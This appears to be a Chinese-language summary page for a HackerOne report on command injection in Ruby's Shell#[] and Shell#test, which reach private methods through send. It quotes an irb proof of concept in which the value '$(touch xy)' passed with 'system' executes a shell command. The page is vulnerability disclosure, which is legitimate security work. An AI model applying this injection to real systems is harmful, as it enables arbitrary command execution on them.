Potential command injection in `Shell#[]` and `Shell#test`
该报告还没有中文解读。
原文摘录
摘自原文(897 字符中的一小部分)
As `Shell#test` and `Shell#[]` use `send` when transferring to FileTest, private methods etc. can also be called. Therefore, command injection is possible when a crafted value is passed.
原文中的代码
$ irb irb(main):001:0> `ls xy` ls: xy: No such file or directory => "" irb(main):002:0> require 'shell' => true irb(main):003:0> sh = Shell.new => #<Shell:0x00007fc0c20f2a78> irb(main):004:0> sh['system', '$(touch xy)'] sh: /private/tmp/: is a directory => false irb(main):005:0> `ls xy` => "xy\n"
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Ruby 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ooooooo_q · 版权归作者与 Ruby 所有